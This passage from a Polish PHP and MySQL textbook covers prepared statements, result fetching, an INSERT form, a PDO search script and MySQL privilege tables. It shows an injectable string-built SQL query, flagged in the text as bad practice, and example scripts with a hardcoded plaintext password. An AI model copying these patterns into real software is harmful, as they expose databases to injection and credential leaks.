Nie można zapominać, że jednorazowo może istnieć tylko ograniczona liczba połączeń do serwera
MySQL. Limit liczby połączeń jest wyznaczany przez wartość zmiennej MySQL o nazwie
max_connections. Ten parametr oraz odpowiadająca mu zmienna MaxClients serwera Apache okre-
ślają granicę, po której przekroczeniu zostaną odrzucone wszystkie żądania otwarcia nowego
połączenia. Dzięki temu możliwa jest ochrona zasobów przed nadmiernym obciążeniem czy też
ich pełne zablokowanie w razie wystąpienia awarii.
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 279

Wartość obu parametrów można zmienić, dokonując odpowiednich modyfikacji w plikach kon-
figuracyjnych. Wartość zmiennej MaxClients serwera Apache jest zapisana w pliku o nazwie
httpd.conf, natomiast max_connections — w pliku my.conf.

Wybór używanej bazy danych


Jak wspomnieliśmy w jednym z wcześniejszych rozdziałów, praca z serwerem MySQL z poziomu
wiersza poleceń wymaga uprzedniego wskazania bazy danych, która będzie wykorzystywana.
Służy do tego polecenie
use ksiazki;

Tak samo należy postąpić podczas pracy z poziomu strony WWW. Nazwa bazy danych, która ma
zostać użyta, jest wskazywana jako parametr konstruktora mysqli lub funkcji mysqli_connect().
Jeśli zajdzie konieczność zmiany domyślnej bazy danych, będzie można wykonać tę operację,
wywołując funkcję mysqli_select_db(). Można tego dokonać na dwa sposoby:
$db->select_db(nazwa_bazy);

lub wpisując:
mysqli_select_db(zasob_db, nazwa_bazy);

Przy okazji można tu zauważyć zależność między funkcjami, o której wspomniano już wcześniej:
wersje proceduralne rozpoczynają się od mysqli_ i wymagają podania dodatkowego parametru
w postaci uchwytu bazy danych.

Wysyłanie zapytań do bazy danych


Wykonanie zapytania odbywa się za pomocą funkcji mysqli_query(). Zanim jednak to nastąpi,
dobrze będzie przygotować zapytanie, które ma zostać zrealizowane.
$zapytanie = "SELECT ISBN, Autor, Tytul, Cena FROM Ksiazki WHERE $metoda_szukania = ?";

W powyższym wierszu kodu należy zwrócić uwagę na dwa zagadnienia. Przede wszystkim zmienna
$metoda_szukania została umieszczona bezpośrednio w zapytaniu. Poza tym w miejscu, gdzie
można by się spodziewać zmiennej $wyrazenie, został umieszczony znak zapytania (?). O co w tym
wszystkim chodzi?

Czasami można się spotkać z tworzeniem zapytań w następujący sposób:


$zapytanie = "SELECT ISBN, Autor, Tytul, Cena FROM Ksiazki
WHERE $metoda_szukania = '$wyrazenie'";

Tak nie należy robić!


Przede wszystkim jest to kwestia bezpieczeństwa — choć można przefiltrować dane wprowadzo-
ne przez użytkownika, by uniknąć potencjalnych zagrożeń, to jednak bezpieczniej będzie przekazać
odpowiedzialność za to zadanie gdzie indziej.

W tym przypadku mogą pojawić się zagrożenia określane ogólnie jako wstrzykiwanie SQL (ang.
SQL injection), które zostaną znacznie bardziej szczegółowo opisane w trzeciej części książki,
„E-commerce i bezpieczeństwo”. Najprościej rzecz ujmując, chodzi o to, że użytkownik mo-
że w polu formularza wpisać coś, co zostanie potraktowane jako kod SQL — takiej sytuacji za
wszelką cenę trzeba unikać.
280 Część II  Stosowanie MySQL

W przedstawionym zapytaniu został umieszczony znak zapytania, gdyż posłuży ono do utworzenia
tak zwanego polecenia przygotowanego (ang. prepared statement). Znak zapytania odgrywa w nim
rolę zamiennika — przekazuje bazie danych następującą informację: „cokolwiek zostanie umiesz-
czone w miejscu znaku zapytania, należy to potraktować wyłącznie jako dane, a nie jako kod”.
Już za moment zostanie opisany sposób tworzenia i stosowania poleceń przygotowanych.

Można się zastanawiać, dlaczego takie samo rozwiązanie nie zostało wykorzystane w przypadku
zmiennej $metoda_szukania. Wynika to z tego, że takich zamienników można używać wyłącz-
nie w odniesieniu do danych, a nie nazw kolumn, tabel lub całych baz danych. W celu dodatkowego
zabezpieczenia w powyższym przykładzie zostało zastosowane rozwiązanie określane jako biała
lista, które pozwala sprawdzić, czy w zmiennej $metoda_szukania została podana jedna z dopusz-
czalnych wartości. (Jak można zauważyć, sprawdzenie tej zmiennej wcale nie było takie krótkie).

W następnej części rozdziału zostanie pokazane, w jaki sposób zapytanie z zamiennikiem można
zamienić na prawdziwe zapytanie.
Trzeba pamiętać, że w odróżnieniu od zapytań wpisywanych za pośrednictwem monitora MySQL
zapytania wysyłane do serwera bazy danych nie muszą być zakończone znakiem średnika.

Stosowanie poleceń przygotowanych


Biblioteka mysqli umożliwia stosowanie poleceń przygotowanych. Pozwalają one na przyspieszenie
realizacji zapytań w przypadkach, gdy wielokrotnie trzeba wykonać to samo zapytanie z różnymi
danymi. Poza tym, zgodnie z informacjami podanymi w poprzednim punkcie rozdziału, umożliwiają
one także zabezpieczenie się przed atakami typu wstrzykiwanie SQL.

Podstawowa idea poleceń przygotowanych polega na tym, że szablon polecenia jest przesyłany
do serwera MySQL, a następnie osobno są do niego przesyłane dane. Do jednego zapytania można
wielokrotnie przesyłać dane; możliwość ta jest szczególnie użyteczna w przypadku grupowego
wstawiania danych do bazy.

W pliku wyniki.php polecenie przygotowane zostało użyte w następujący sposób:


$zapytanie = "SELECT ISBN, Autor, Tytul, Cena FROM Ksiazki WHERE $metoda_szukania = ?";
$polecenie = $db->prepare($zapytanie);
$polecenie->bind_param('s', $wyrazenie);
$polecenie->execute();

Przeanalizujmy ten kod wiersz po wierszu.

Podczas przygotowywania zapytania w miejscu, gdzie mają się pojawić dane, został umieszczony
znak zapytania. Wokół tego typu znaków zapytania nie należy umieszczać żadnych cudzysłowów,
apostrofów ani innych separatorów.

W drugim wierszu kodu została wywołana metoda $db->prepare(), która w przypadku stosowania
proceduralnego stylu programowania nosi nazwę mysqli_stmt_prepare(). Ten wiersz odpowiada
za utworzenie obiektu polecenia czy też zasobu, który będzie następnie użyty do wykonania zapyta-
nia oraz przetworzenia wyników.

Ten obiekt polecenia udostępnia metodę o nazwie bind_param(). (W wersji proceduralnej odpowiada
ona funkcji mysqli_stmt_bind_param()). Metoda ta służy do określania wartości, które mają zo-
stać wstawione w miejscu znaków zapytania. Pierwszym parametrem tej metody jest łańcuch zna-
ków określający format, przypominający nieco łańcuch formatujący stosowany w funkcji printf().
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 281

Wartość 's' przekazywana w powyższym przykładzie oznacza, że dany parametr jest łańcuchem
znaków. Innymi dostępnymi wartościami łańcucha formatującego są: i, oznaczająca liczbę całko-
witą, d, oznaczająca liczbę zmiennoprzecinkową o podwójnej precyzji (double), oraz b, oznaczająca
duży obiekt binarny (BLOB). Po tym parametrze należy podać zmienne, przy czym ich liczba powinna
odpowiadać liczbie pytajników w zapytaniu. Wartości te będą podstawiane w podanej kolejności.

Wywołanie metody $polecenie->execute() (lub mysqli_stmt_execute() w wersji proceduralnej)


powoduje wykonanie zapytania. Później można pobrać liczbę wierszy objętych działaniem zapy-
tania i zamknąć polecenie.

Na czym zatem polega przydatność poleceń przygotowanych? Otóż ważne jest to, że pozwalają
one na zmianę wartości powiązanych zmiennych i ponowne wykonanie zapytania bez konieczności
jego ponownego przygotowywania. Możliwość ta jest szczególnie użyteczna w przypadku grupo-
wego wstawiania danych do bazy w pętlach.

Odczytywanie rezultatów zapytań


PHP udostępnia wiele funkcji, które umożliwiają odczytywanie zwróconych wyników zapytania
na różne sposoby.

W tym przykładzie pobierane są zarówno liczba zwróconych wierszy, jak i wszystkie kolumny
dla każdego zwróconego wiersza.

Oprócz możliwości dowiązywania parametrów istnieje także możliwość dowiązywania zmiennych,


w których będą zapisywane wyniki. W przypadku poleceń używających zapytania SELECT do
podawania listy zmiennych, w których będą zapisywane poszczególne kolumny zwróconych
rekordów, służy metoda $polecenie->bind_result() (lub funkcja mysqli_stmt_bind_result()).
Każde wywołanie metody $polecenie->fetch() (lub funkcji mysqli_stmt_fetch()) spowoduje,
że kolumny z następnego wiersza ze zwróconego zbioru wyników zostaną zapisane w powiązanych
zmiennych. Na przykład w przedstawionym wcześniej skrypcie do wyszukiwania książek został
użyty poniższy wiersz kodu:
$polecenie->bind_result($isbn, $autor, $tytul, $cena);

Wywołanie to powoduje powiązanie czterech zmiennych z czterema kolumnami zwracanymi


przez zapytanie.

Po wykonaniu poniższego wywołania:


$polecenie->execute();

można będzie użyć kolejnej metody:


$polecenie->fetch();

umieszczając jej wywołanie w pętli. Każde wywołanie metody fetch() spowoduje pobranie kolej-
nego wiersza wyników i zapisanie umieszczonych w nim wartości w powiązanych zmiennych.

W przedstawionym wcześniej skrypcie do przeszukiwania książek zależało nam na określeniu


liczby zwróconych wierszy. W tym celu trzeba wcześniej nakazać PHP pobranie wszystkich
uzyskanych wyników i zapisanie ich w buforze. Służy do tego poniższe wywołanie:
$polecenie->store_result();

W przypadku stosowania podejścia obiektowego liczba zwróconych wierszy jest przechowywana


w składowej num_rows obiektu polecenia, co oznacza, że można ją wyświetlić w następujący sposób:
echo "<p>Liczba znalezionych rekordów: ".$polecenie->num_rows."</p>";
282 Część II  Stosowanie MySQL

Z kolei w przypadku stosowania podejścia proceduralnego liczbę wierszy otrzymanych w wyniku


wykonania zapytania zwróci funkcja mysqli_num_rows(). Jej argumentem jest identyfikator zbioru
wyników, który należy przekazać w następujący sposób:
$ile_znalezionych = mysqli_num_rows($wynik);

Kolejna operacja to pobranie i wyświetlenie każdego wiersza ze zbioru wyników; jest ona wykony-
wana w pętli w następujący sposób:
while($polecenie->fetch()) {
echo "<p><strong>Tytuł: ".$tytul."</strong>";
echo "<br />Autor: ".$autor;
echo "<br />ISBN: ".$isbn;
echo "<br />Cena: ".number_format($cena,2)." zł</p>";
}

Każde wywołanie metody $polecenie->fetch() (czy też funkcji mysqli_stmt_fetch() — w przy-


padku stosowania podejścia proceduralnego) pobiera zawartość następnego wiersza zbioru wyników
i zapisuje wartości kolumn w powiązanych zmiennych. Z kolei instrukcje umieszczone wewnątrz
pętli wyświetlają pobrane wartości.

Dane z wyników zapytania można pobierać nie tylko przy użyciu funkcji mysqli_stmt_fetch(),
ale także na inne sposoby. Aby z nich skorzystać, w pierwszej kolejności należy pobrać z polecenia
zasób zbioru wyników. Służy do tego funkcja mysqli_stmt_get_result() bądź też wywołanie
o następującej postaci:
$wynik = $polecenie->get_result();

Każde z powyższych wywołań zwraca obiekt mysqli_result, który udostępnia kilka użytecznych
funkcji do pobierania danych. Poniżej przedstawione zostały najbardziej przydatne z nich:
 mysqli_fetch_array() (oraz związana z nią mysqli_fetch_assoc()) — zwraca następny
wiersz ze zbioru wyników w formie tablicy. Wersja mysqli_fetch_assoc() używa nazw
kolumn jako kluczy poszczególnych elementów tablicy, choć podobne możliwości
posiada także funkcja mysqli_fetch_array(). Funkcja ta może bowiem pobierać drugi,
opcjonalny argument, określający typ zwracanej tablicy. Przekazanie wartości MYSQLI_ASSOC
spowoduje zwrócenie tablicy, w której kluczami będą nazwy kolumn, przekazanie wartości
MYSQLI_NUM spowoduje zwrócenie tablicy indeksowanej liczbami, a użycie wartości
MYSQLI_BOTH spowoduje zwrócenie tablicy zawierającej dwa komplety danych: jednego,
w którym kluczami będą nazwy kolumn, oraz drugiego — indeksowanego liczbami.
 mysqli_fetch_all() — zwraca wszystkie wiersze pobrane z bazy danych w formie tablicy
tablic, w której każda z wewnętrznych tablic reprezentuje jeden zwrócony wiersz.
 mysqli_fetch_object() — zwraca następny wiersz ze zbioru wyników w formie obiektu,
w którym każda kolumna jest zapisana jako atrybut o nazwie odpowiadającej nazwie
kolumny.

Zamykanie połączenia z bazą danych


Zestaw wyników można zwolnić, wywołując instrukcję
$wynik->free();

lub
mysqli_free_result($wynik);
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 283

Następnie można wykonać polecenie


$db->close();

lub
mysqli_close($db);

aby zamknąć połączenie z bazą danych. Użycie tej funkcji nie jest jednak konieczne, gdyż połącze-
nie i tak zostanie zamknięte z chwilą zakończenia wykonywania skryptu.

Wstawianie nowych danych do bazy


Zapisywanie nowych danych do bazy przebiega podobnie do ich pozyskiwania. Konieczne jest
wykonanie tych samych operacji: nawiązanie połączenia, wysłanie zapytania i odczytanie rezulta-
tów. Jednak w tym wypadku zapytanie będzie zawierało słowo kluczowe INSERT, a nie SELECT.

Choć operacja ta przebiega podobnie, warto jednak przeanalizować przykład. Na rysunku 11.3
zaprezentowano formularz HTML, który służy do zapisywania informacji o nowych książkach.

Rysunek 11.3.
Taki formularz
mógłby służyć
personelowi
księgarni „Książkora
ma” do zapisywania
informacji o nowych
książkach

Listing 11.3 zawiera kod HTML tej strony.

Listing 11.3. nowa_ksiazka.html — formularz HTML do zapisywania informacji o nowych książkach


<!DOCTYPE html>
<html>
<head>
<title>"Książkorama" - Wstawianie nowej książki</title>

<style type="text/css">

fieldset {
width: 75%;
border: 2px solid #cccccc;
}

label {
width: 75px;
284 Część II  Stosowanie MySQL

float: left;
text-align: left;
font-weight: bold;
}

input {
border: 1px solid #000;
padding: 3px;
}

</style>

</head>

<body>
<h1>"Książkorama" - Wstawianie nowej książki</h1>

<form action="wstaw_ksiazke.php" method="post">

<fieldset>
<p><label for="isbn">ISBN</label>
<input type="text" id="isbn" name="isbn" maxlength="13" size="13" /></p>

<p><label for="autor">Author</label>
<input type="text" id="autor" name="autor" maxlength="30" size="30" /></p>

<p><label for="tytul">Tytuł</label>
<input type="text" id="tytul" name="tytul" maxlength="60" size="30" /></p>

<p><label for="cena">Cena</label>
<input type="text" id="cena" name="cena" maxlength="7" size="7" /></p>
</fieldset>

<p><input type="submit" value="Dodaj nową książkę" /></p>

</form>

</body>
</html>

Informacje wpisane do formularza zostaną przekazane do skryptu z pliku wstaw_ksiazke.php,


którego zadaniem będzie sprawdzenie poprawności danych i zapisanie ich do bazy. Kod źródłowy
jest przedstawiony na listingu 11.4.

Listing 11.4. wstaw_ksiazke.php — skrypt zapisujący informacje o nowej książce do bazy danych
<!DOCTYPE html>
<html>
<head>
<title>"Książkorama" - rezultat wstawiania nowej książki</title>
</head>
<body>
<h1>"Książkorama" - rezultat wstawiania nowej książki </h1>
<?php

if (!isset($_POST['isbn']) || !isset($_POST['autor'])
|| !isset($_POST['tytul']) || !isset($_POST['cena'])) {
echo "<p>Nie podano informacji we wszystkich wymaganych polach.<br />
Proszę wrócić na poprzednią stronę i spróbować jeszcze raz.</p>";
exit;
}
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 285

// utworzenie krótkich nazw zmiennych


$isbn=$_POST['isbn'];
$autor=$_POST['autor'];
$tytul=$_POST['tytul'];
$cena=$_POST['cena'];
$cena = doubleval($cena);

@$db = new mysqli('localhost', 'ksiazkorama', 'ksiazkorama123', 'ksiazki');

if (mysqli_connect_errno()) {
echo "<p>Błąd: Połączenie z bazą danych nie powiodło się.<br />
Spróbuj jeszcze raz później.</p>";
exit;
}

$query = "INSERT INTO Ksiazki VALUES (?, ?, ?, ?)";


$polecenie = $db->prepare($query);
$polecenie->bind_param('sssd', $isbn, $autor, $tytul, $cena);
$polecenie->execute();

if ($polecenie->affected_rows > 0) {
echo "<p>Książka została zapisana w bazie danych.</p>";
} else {
echo "<p>Wystąpił błąd. <br />
Książka nie została dodana do bazy.</p>";
}

$db->close();
?>
</body>
</html>

Rysunek 11.4 przedstawia stronę informującą o zapisaniu danych do bazy.

Rysunek 11.4.
W razie poprawnego
wykonania skryptu
informacja o zapisaniu
nowej książki zostanie
wyświetlona na stronie
WWW

Nietrudno zauważyć, że większa część skryptu wstaw_ksiazke.php wygląda podobnie do skryptu


realizującego wyszukiwanie informacji w bazie. Najpierw sprawdzamy, czy wszystkie pola
formularza zostały wypełnione, a następnie sprawdzamy, czy cena jest liczbą zmiennoprzecinkową,
gdyż właśnie tego typu jest wartość ceny w bazie danych. Używamy do tego następującego
wywołania:
$cena = doubleval($cena);

Wywołanie to rozwiązuje jednocześnie problem związany z wszelkimi symbolami walut, które


użytkownik mógł wpisać w polu formularza.
286 Część II  Stosowanie MySQL

Kolejną czynnością jest nawiązanie połączenia z bazą danych poprzez utworzenie obiektu mysqli
oraz przygotowanie zapytania, które zostanie przesłane do bazy. W tym przypadku zapytanie będzie
zawierać polecenie SQL INSERT:
$query = "INSERT INTO Ksiazki VALUES (?, ?, ?, ?)";
$polecenie = $db->prepare($query);
$polecenie->bind_param('sssd', $isbn, $autor, $tytul, $cena);
$polecenie->execute();

W naszym przykładzie do polecenia przygotowanego przekazywane są cztery parametry, dlatego


też łańcuch formatujący będzie zawierał cztery znaki. W tym łańcuchu każda litera s reprezentuje
jeden łańcuch znaków, a d reprezentuje wartość zmiennoprzecinkową.

Zarówno w tym podrozdziale, jak i w poprzednich podrozdziałach zaprezentowane zostały pod-


stawowe metody wykorzystywania bazy danych MySQL w skryptach PHP.

Używanie innych interfejsów bazodanowych PHP


PHP zawiera biblioteki obsługujące połączenia z wieloma różnymi systemami baz danych, m.in.
Oracle, Microsoft SQL Server oraz PostgreSQL.

Generalne zasady łączenia się z bazami danych i wykonywania zapytań pozostają niezmienione.
Różnice mogą wystąpić np. w nazwach poszczególnych funkcji, inne mogą też być możliwości
poszczególnych systemów. Jeżeli jednak praca z MySQL nie sprawia Czytelnikowi kłopotów,
to korzystanie z innych baz również nie powinno przysparzać żadnych problemów.

Jeżeli zaistnieje potrzeba wykorzystania bazy danych, która nie jest obsługiwana przez żadną
z bibliotek PHP, można skorzystać z ODBC (Open Database Connectivity), będącego standardo-
wym interfejsem dostępu do baz danych. Udostępnia on tylko podstawowe metody dostępu do
baz danych, z oczywistych zresztą powodów. Jeśli bowiem interfejs ma być zgodny ze wszystkimi
typami baz, to nie ma możliwości, by udostępniał funkcje charakterystyczne tylko dla jednego czy
kilku systemów zarządzania nimi.

Oprócz bibliotek dostarczanych wraz z PHP istnieje także rozszerzenie o nazwie PDO, stanowiące
abstrakcję dostępu do danych — pozwala ono na używanie dokładnie tego samego interfejsu do
obsługi wielu różnych baz danych.

Stosowanie ogólnego interfejsu dostępu do baz danych: PDO


Przeanalizujmy teraz krótki przykład wykorzystujący abstrakcyjną warstwę dostępu do danych o na-
zwie PDO. Rozszerzenie PDO udostępnia spójny interfejs pozwalający na korzystanie z wielu
różnych baz danych. Co więcej, rozszerzenie to jest domyślnie instalowane wraz z PHP.

Dla porównania spójrzmy, w jaki sposób napisalibyśmy skrypt wykonujący przeszukiwanie, wy-
korzystując do tego PDO (patrz listing 11.5).

Listing 11.5. rezultaty_pdo.php — pobiera wyniki wyszukiwania w bazie MySQL i formatuje je w celu ich
wyświetlenia
<!DOCTYPE html>
<html>
<head>
<title>"Książkorama"- Rezultaty wyszukiwania</title>
</head>
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 287

<body>
<h1>"Książkorama"- Rezultaty wyszukiwania </h1>
<?php
// utworzenie krótkich nazw zmiennych
$metoda_szukania=$_POST['metoda_szukania'];
$wyrazenie="%{$_POST['wyrazenie']}%";

if (!$metoda_szukania || !$wyrazenie) {
echo '<p>Brak parametrów wyszukiwania. <br />
Wróć do poprzedniej strony i spróbuj ponownie.</p>';
exit;
}

// określenie typu wyszukiwania


switch ($metoda_szukania) {
case 'Tytul':
case 'Autor':
case 'ISBN':
break;
default:
echo '<p>Nieprawidłowy typ wyszukiwania. <br/>
Wróć i spróbuj jeszcze raz.</p>';
exit;
}

// konfiguracja połączenia z bazą przy użyciu PDO


$uzytkownik = 'ksiazkorama';
$haslo = 'ksiazkorama123';
$host = 'localhost';
$nazwa_bazy = 'ksiazki';

// koniguracja DSN
$dsn = "mysql:host=$host;dbname=$nazwa_bazy";

// nawiązanie połączenia z bazą danych


try {
$db = new PDO($dsn, $uzytkownik, $haslo);

// wykonanie zapytania
$zapytanie = "SELECT ISBN, Autor, Tytul, Cena FROM Ksiazki WHERE $metoda_szukania =
:szukanewyrazenie";
$polecenie = $db->prepare($zapytanie);
$polecenie->bindParam(':szukanewyrazenie', $wyrazenie);
$polecenie->execute();

// pobranie liczby zwróconych rekordów


echo "<p>Liczba znalezionych rekordów: ".$polecenie->rowCount()."</p>";

// wyświetlenie każdego pobranego rekordu


while($wynik = $polecenie->fetch(PDO::FETCH_OBJ)) {
echo "<p><strong>Tytuł: ".$wynik->Tytul."</strong>";
echo "<br />Autor: ".$wynik->Autor;
echo "<br />ISBN: ".$wynik->ISBN;
echo "<br />Cena: ".number_format($wynik->Cena, 2)." zł</p>";
}

// zakończenie połączenia z bazą danych


$db = NULL;
} catch (PDOException $e) {
echo "Błąd: ".$e->getMessage();
exit;
}
288 Część II  Stosowanie MySQL

?>
</body>
</html>

Sprawdźmy, co uległo zmianie w porównaniu z poprzednim skryptem.

Nawiązanie połączenia z bazą danych wykonywane jest w poniższym wierszu:


$db = new PDO($dsn, $uzytkownik, $haslo);

Funkcja ta akceptuje łańcuch połączenia, określany także jako DNS lub nazwa źródła danych, zawie-
rający wszystkie parametry niezbędne do nawiązania połączenia z bazą danych. Można się o tym
przekonać, analizując format łańcucha połączenia:
$dsn = "mysql:host=$host;dbname=$nazwa_bazy";

Jak łatwo zauważyć, cały kod wchodzący w interakcję z bazą danych jest umieszczony wewnątrz
bloku try:catch. Domyślnie, jeśli wystąpią jakieś problemy, PDO zgłosi wyjątek. Prawie na samym
końcu skryptu umieszczona jest instrukcja przechwytująca zgłaszane błędy:
catch (PDOException $e) {
echo "Błąd: ".$e->getMessage();
exit;
}

Jak widać, zgłaszane wyjątki będą typu PDOException i będą zawierać komunikat informujący
o przyczynie problemów.

Zakładając, że wszystko poszło dobrze, następną wykonywaną operacją jest utworzenie i wyko-
nanie zapytania:
$zapytanie = "SELECT ISBN, Autor, Tytul, Cena FROM Ksiazki
WHERE $metoda_szukania = :szukanewyrazenie";
$polecenie = $db->prepare($zapytanie);
$polecenie->bindParam(':szukanewyrazenie', $wyrazenie);
$polecenie->execute();

Powyższy kod bardzo przypomina sposób przygotowania i wykonania polecenia utworzonego


z wykorzystaniem funkcji mysqli. Jedyna większa różnica polega na zastosowaniu nazwanego
parametru, w którego miejsce zostanie wstawiony poszukiwany łańcuch znaków. (Takich nazwa-
nych parametrów można także używać w mysqli, podobnie jak w PDO można używać w zapyta-
niach znaków zapytania w miejscach, gdzie mają być wstawiane wartości).

Liczbę zwróconych wierszy można sprawdzić w następujący sposób:


echo "<p>Liczba znalezionych rekordów: ".$polecenie->rowCount()."</p>";

Warto zwrócić uwagę na to, że w PDO liczba pobranych wierszy jest zwracana przez metodę, a nie
udostępniana jako atrybut obiektu, dlatego też za rowCount została umieszczona para nawiasów.

Poszczególne wiersze pobierane są następująco:


$wynik = $polecenie->fetch(PDO::FETCH_OBJ)

Ogólna metoda fetch() może zwracać wiersze w wielu różnych formatach — parametr
PDO::FETCH_OBJ wskazuje, że wiersze mają być zwracane w formie anonimowego obiektu.

Po wyświetleniu zwróconych wierszy kończymy skrypt, zwalniając zasób bazy danych, co spowo-
duje także zamknięcie połączenia z bazą danych:
$db = NULL;
Rozdział 11.  Łączenie się z bazą MySQL za pomocą PHP 289

Jak widać, powyższy ogólny przykład jest bardzo podobny do naszego pierwszego skryptu.

Zalety stosowania PDO polegają na tym, że wystarczy znać tylko jeden zestaw funkcji baz danych,
a napisany kod będzie wymagał co najwyżej niewielkich zmian w sytuacji, gdybyśmy zdecydo-
wali się na zmianę używanej bazy danych.

Propozycje dalszych lektur


Więcej informacji na temat współpracy skryptów PHP z serwerem baz danych MySQL znajduje
się w odpowiednich rozdziałach podręczników elektronicznych poświęconych PHP i MySQL.

Szczegółowe informacje na temat interfejsu ODBC są dostępne pod adresem internetowym


https://support.microsoft.com/pl-pl/kb/110093.

W następnym rozdziale
W następnym rozdziale przedstawimy szczegółowe informacje na temat administrowania serwerem
MySQL. Omówimy w nim również zagadnienia dotyczące optymalizacji działania baz danych
oraz ich replikacji.
290 Część II  Stosowanie MySQL
Rozdział 12.
Administrowanie MySQL
dla zaawansowanych
W tym rozdziale przedstawimy bardziej zaawansowane aspekty pracy z MySQL, w tym zaawanso-
wany system przywilejów, bezpieczeństwo i optymalizację pracy serwera.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 szczegóły systemu przywilejów,
 ochrona baz danych MySQL,
 uzyskiwanie szczegółowych informacji o dostępnych bazach danych,
 przyspieszanie pracy systemu za pomocą indeksów,
 optymalizacja bazy danych,
 kopie zapasowe i przywracanie bazy danych,
 implementowanie replikacji.

Szczegóły systemu przywilejów


W rozdziale 9. zostały omówione metody rejestrowania nowych użytkowników i nadawania
im przywilejów. Wykorzystywano w tym celu polecenie GRANT. Chcąc administrować systemem
MySQL, warto zrozumieć, jak ono działa i jakie są efekty jego wykonania.

Wykonanie polecenia GRANT powoduje zmiany w tabelach systemowej bazy danych o nazwie mysql.
Informacje dotyczące przywilejów są przechowywane w siedmiu tabelach tej bazy. Z tego powodu
nadając przywileje na poziomie bazy danych, należy zachować ostrożność z udostępnianiem
bazy mysql.

Aby przejrzeć zawartość systemowej bazy danych mysql, należy zalogować się jako administrator
i wpisać polecenie:
USE mysql;

Następnie można sprawdzić, jakie tabele zawiera wybrana baza. W tym celu należy wpisać:
SHOW TABLES;
292 Część II  Stosowanie MySQL

W efekcie powinniśmy otrzymać następującą tabelę:


+-------------------------------+
| Tables_in_mysql |
+-------------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| innodb_index_stats |
| innodb_table_stats |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| rds_configuration |
| rds_global_status_history |
| rds_global_status_history_old |
| rds_heartbeat2 |
| rds_history |
| rds_replication_status |
| rds_sysinfo |
| servers |
| slave_master_info |
| slave_relay_log_info |
| slave_worker_info |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+-------------------------------+
36 rows in set (0.00 sec)

Wszystkie powyższe tabele przechowują informacje systemowe. Siedem z nich — user, host, db,
tables_priv, columns_priv, proxies_priv oraz procs_priv — przechowuje dane na temat przy-
dzielonych przywilejów. Są one czasami nazywane tabelami przywilejów. Każda z nich spełnia
odrębną funkcję, jednak ich najważniejszym zadaniem jest określenie, jakie operacje dany użyt-
kownik może wykonywać, a do jakich nie jest uprawniony. Wszystkie tabele zawierają pola kilku
typów: pola zakresu identyfikują użytkownika, komputer i jakąś część bazy danych, której do-
tyczą przywileje, a pola przywilejów określają, jakie działania może wykonać dany użytkownik
na wskazanym obiekcie bazy danych. Istnieją także pola bezpieczeństwa, zawierające informacje
związane z zabezpieczeniami, oraz kolumny kontroli kolumn, ograniczające liczbę zasobów, które
mogą być używane.

Tabela o nazwie user służy do określania tego, czy użytkownik w ogóle może nawiązać połączenie
z serwerem MySQL oraz czy ma jakieś przywileje administracyjne. Tabela host była używana
wcześniej, lecz obecnie jest uznawana za przestarzałą i nie jest stosowana. Tabela db określa, do któ-
rych baz danych użytkownik ma dostęp. W tabeli tables_priv zapisane są nazwy tabel, które mogą
być wykorzystywane w ramach dostępnych użytkownikowi baz danych. Tabela columns_priv
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 293

zawiera nazwy tych kolumn, w tabeli proxies_priv znajdują się informacje pozwalające wskazać
użytkowników mogących działać jako pośrednicy czy też przekazywać przywileje innym użytkow-
nikom, do których wskazani użytkownicy mają dostęp, a w tabeli procs_priv znajdują się nazwy
procedur, które można wykonywać.

Tabela user
W tabeli tej zawarte są szczegółowe dane o przywilejach o zasięgu globalnym. Określają one, czy
użytkownik w ogóle może zalogować się do serwera MySQL, a jeśli tak, to czy posiada on jakie-
kolwiek przywileje globalne, tzn. odnoszące się do wszystkich baz danych w systemie.

Struktura tej tabeli zostanie pokazana po wykonaniu polecenia:


DESCRIBE user;

Schemat tabeli user przedstawiono w tabeli 12.1.

Tabela 12.1. Schemat tabeli user systemowej bazy danych mysql

Pole Typ
Host char(60)

User char(16)

Password char(16)

Select_priv enum('N', 'Y')

Insert_priv enum('N', 'Y')

Update_priv enum('N', 'Y')

Delete_priv enum('N', 'Y')

Create_priv enum('N', 'Y')

Drop_priv enum('N', 'Y')

Reload_priv enum('N', 'Y')

Shutdown_priv enum('N', 'Y')

Process_priv enum('N', 'Y')

File_priv enum('N', 'Y')

Grant_priv enum('N', 'Y')

References_priv enum('N', 'Y')

Index_priv enum('N', 'Y')

Alter_priv enum('N', 'Y')

Show_db_priv enum('N', 'Y')

Super_priv enum('N', 'Y')

Create_tmp_table_priv enum('N', 'Y')

Lock_tables_priv enum('N', 'Y')

Execute_priv enum('N', 'Y')

Repl_slave_priv enum('N', 'Y')


294 Część II  Stosowanie MySQL

Tabela 12.1. Schemat tabeli user systemowej bazy danych mysql (ciąg dalszy)

Pole Typ
Repl_client_priv enum('N', 'Y')

Create_view_priv enum('N', 'Y')

Show_view_priv enum('N', 'Y')

Create_routine_priv enum('N', 'Y')

Alter_routine_priv enum('N', 'Y')

Create_user_priv enum('N', 'Y')

Event_priv enum('N', 'Y')

Trigger_priv enum('N', 'Y')

Create_tablespace_priv enum('N', 'Y')

ssl_type enum('', 'ANY', 'X509', 'SPECIFIED')

ssl_cipher blob

x509_issuer blob

x509_subject blob

max_questions int(11) usigned

max_updates int(11) usigned

max_connections int(11) usigned

plugin char(64)

authentication_string text

password_expired enum('Y','N')

Większość wierszy tej tabeli odnosi się do zbioru przywilejów nadanych użytkownikowi User
łączącemu się z komputera Host i logującemu się za pomocą hasła Password. Te trzy pola to tak
zwane pola zakresu tabeli, gdyż określają one zakres pól przywilejów. Nazwy pól przywilejów
kończą się ciągiem znaków _priv.

Przywileje wyszczególnione w powyższej tabeli (oraz te przedstawione w dalszych podrozdziałach)


odnoszą się do przywilejów nadawanych poleceniem GRANT, opisanym w rozdziale 9. Na przykład
wartość pola Select_priv określa, czy użytkownik może wywoływać polecenie SELECT.

Jeżeli użytkownikowi nadano konkretny przywilej, wówczas wartością odpowiadającego mu pola


